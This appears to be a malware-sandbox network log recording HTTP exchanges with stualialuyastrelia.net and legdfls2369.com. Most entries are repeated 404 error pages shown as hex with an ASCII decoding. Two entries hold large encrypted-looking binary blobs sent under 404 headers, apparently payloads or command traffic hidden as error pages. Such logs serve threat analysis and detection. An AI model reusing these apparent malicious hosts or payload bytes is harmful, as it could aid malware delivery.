Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 b2 40 a9 18 ab df bf 71 07 8f 44 bd db 1c 98 7e 8d ae ad 5e 3f 22 75 77 1e 1a 21 fd 4a ec 9e be 2f c1 da c9 47 c4 fa c9 ef 4f 17 b0 6c ee fc 73 f6 8b 15 f3 32 bd 90 a5 07 5c c6 50 77 65 76 ce 73 fb fb 2a bc 2d e0 d8 06 36 fa d7 c8 8e b4 5d 01 a2 d8 3d 3b f9 f5 c7 df e8 cd b2 39 fa a6 d7 f1 6f f0 52 7b e4 66 8d 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 14 13 ca 48 8a f7 24 08 4f c5 03 a1 cb a1 81 7e dc f4 62 b8 17 35 7e 75 a3 9a a5 94 d9 a0 c1 b9 dd 7a 0e 82 4e 19 e0 3c 95 a9 18 5a f9 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6d a1 c0 4a 9a 03 fd ec 98 aa 7b ac 87 2f bd 61 0d 90 40 bf 46 30 fd f8 12 6c 33 6c 2b 7c 4a 0c c7 fd f4 0e a4 fb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 77 b8 36 b9 22 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 f2 e5 13 43 0a bb d6 af f1 20 27 98 04 b7 9f 93 d9 d4 46 e1 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 5b 56 63 39 7e e7 ac 04 90 8b 5a 40 37 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d b0 0e 51 ac 73 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 07 55 1d ee c3 de 57 a3 4c 37 89 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e cb bd d1 ed 66 99 8a a1 63 73 74 79 10 61 43 cc 31 87 8b e1 4c 76 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f fe c5 cb 0e ee f6 6b e3 4d 76 da 37 00 50 fb 1c c9 aa f6 52 48 72 22 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 07 6b ab f6 ae 25 2e 4c 85 ce ec 35 18 df a7 0d bc ca d4 5f 69 5f 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 73 0b 09 b6 da c3 e8 c8 2f c2 e1 09 e8 8b 83 02 ac 18 bc 77 b3 0e c7 9d 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 8c 6b d1 c0 10 eb 24 d9 ed 09 b3 52 dc 1a 2e 97 18 57 23 01 7d 42 5b 9d 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 25 8c 57 7a 14 0f 5b 30 5f 87 23 b8 78 fe 71 92 98 6d 9e 5e 32 d0 b3 ef 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7f db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:02:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:16 GMTServer: Apache/2.4.41 (Ubuntu)Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 32 37 34 66 65 0d 0a 2f 00 00 00 8f 3b 41 30 46 2c cf 62 b4 69 4c 7a ea be ee 06 5f 4c ee 8e a8 e1 af 06 13 a0 cc 71 e9 ea 11 2f 96 e3 88 cb 32 b7 9a 95 e1 3c f7 13 c7 f8 58 00 ca 74 02 00 1c ac 2b da 00 0b 07 00 09 00 34 00 00 01 54 b5 a6 04 fa 19 13 50 fe ad bf fe 50 01 0b 00 6b 6d 9b a1 be 47 6b 95 bb 2f 20 d4 c8 8f 3e f9 48 d9 5d 6d 65 6d 75 16 dc 93 04 9a 4e 3d 6e 00 a7 fb c4 e6 ba 10 81 4e de c9 81 63 bd 6b c1 21 12 08 03 82 92 b9 66 33 2c c4 d8 a4 26 81 d2 23 e6 f5 f0 39 01 b1 f6 c3 ff ed 03 02 bb a2 cb aa 25 f7 50 36 a5 43 cb 97 a8 89 2f 73 18 41 7c 38 c8 25 6c e3 2a 3c 5c 31 22 93 fa eb 08 47 0a cb 81 c7 f6 64 05 28 c2 6a 21 d2 ce 9f ad 76 7d 4a 1a d8 92 2f 8c 78 c6 24 f2 d6 cf 6b fb c5 e7 05 b0 1f 95 8d a2 26 fc ad 77 7d 1f 5b 65 2f 3f 20 47 56 ae f1 94 d8 e8 af 02 9c 35 87 be c3 a6 6b 91 75 5d 48 ac 3a 7e a2 d9 1c ad 62 4f e2 8d fa e3 a9 4d d6 02 65 2c a5 97 c6 61 03 59 fc 1d d4 88 16 72 64 45 ef 71 50 7d 98 6f 6e 3b 4c 4a 24 46 46 d2 e5 01 0f 29 c5 77 b5 91 d2 cf 70 47 4e 70 90 b9 1a e8 a3 c8 f4 35 b3 7d 94 47 eb 9e 1c 83 1b 9f 2b 04 01 20 1b 5d 82 c5 96 4e c0 54 3b 64 88 1b 82 ad a0 f7 12 e2 23 b3 67 bd 67 b8 6c d5 2e df 89 bb 99 b8 f8 a8 37 72 14 26 37 4c 36 33 93 ea 14 9f fc 79 88 6c 52 f9 4b a8 4b 79 72 fe 17 4a 97 56 fc 2c 49 19 fe ac 9b 63 57 59 57 b2 6d 42 86 48 71 26 85 c8 e9 46 b3 be 7d 6e 49 77 a0 bc d7 28 3b 4d 72 ba 0f 96 20 d8 e2 f0 06 2a 13 f4 31 f3 75 9d 49 ed a3 a9 16 2a be 8b 64 65 69 55 b5 88 be 3d 47 b3 fd d6 b1 69 98 52 de 77 cb ee 26 12 15 57 48 43 74 87 cc a7 87 b5 da 57 bd 62 db 5b 02 16 5b 43 da 83 e9 7d eb 69 ba cb 94 e0 d3 9c 36 d6 e8 5e 61 b8 d3 7c 0b 4f 5f d4 5f 20 84 6f 29 33 35 f8 06 1c 4b 74 4f 8b c3 37 09 e9 f0 3f 99 f4 29 aa d7 6c e4 9b 7d 8d 35 38 05 d8 ed 28 87 b4 7c 23 20 1a 4c 17 4f d3 f2 78 47 99 4d 46 4c ff 34 b5 cf ce 58 f4 58 6b ff 58 95 63 70 fe 45 7b 44 6a 9d 01 70 a4 96 d5 37 e9 53 35 1c ec 0d 77 3d 02 33 8a 5d 4f 02 f9 f2 29 23 5a ba c1 49 cd e4 b9 8f de 25 c8 51 82 ca ba 10 3a 0d e9 c9 3c 79 23 63 02 10 48 3f 91 d7 9d ee 95 29 de 70 a0 eb 9f 55 33 e8 17 3e 67 82 d3 5f 4a b1 d1 1c b2 35 6f e1 d4 36 68 1c b3 19 84 3c 49 ae 3a bf 98 c3 68 29 98 be f9 8d 66 0e 59 d3 88 1d a4 ea 06 bc 7f ab de 5a 8a 42 d8 ab 4a ed 7b 02 99 5f 31 df c6 ae 1b 3c a7 00 1c 42 02 01 1b 9b b8 5a 93 aa ba 49 d3 17 c5 0a f3 97 e0 63 f3 d1 e5 b9 41 bb 2a 06 24 ad af b9 25 17 3b f1 9b 84 1e ce 34 9c 3a 66 91 81 a2 ef 69 19 74 61 e8 33 37 39 af ed b1 65 c2 c3 f9 b0 fa f4 1c 64 c9 43 62 b0 fb e1 82 2e 1e ff a9 5b 8f 2c 06 1c 99 47 12 ba b9 cb de a6 fb 99 d6 48 4c ef 17 cd 38 c0 b1 f7 5c 4d 17 a5 55 86 f6 0f 6e 91 4f 16 df 22 08 2a 6e 37 d0 e4 00 c5 68 60 4a 30 1a 94 6b 3c 70 15 50 86 ac e2 b2 6c 59 c9 04 da 97 f7 61 7d 85 31 2d cb 9f 14 c0 72 fd 91 84 ff e6 9b 97 bb 1d 2c 7e fc 66 96 1e 85 41 67 5c 41 d7 d5 63 7c 55 a6 73 68 f1 7b 06 63
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:17 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:18 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:18 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:19 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:19 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:20 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
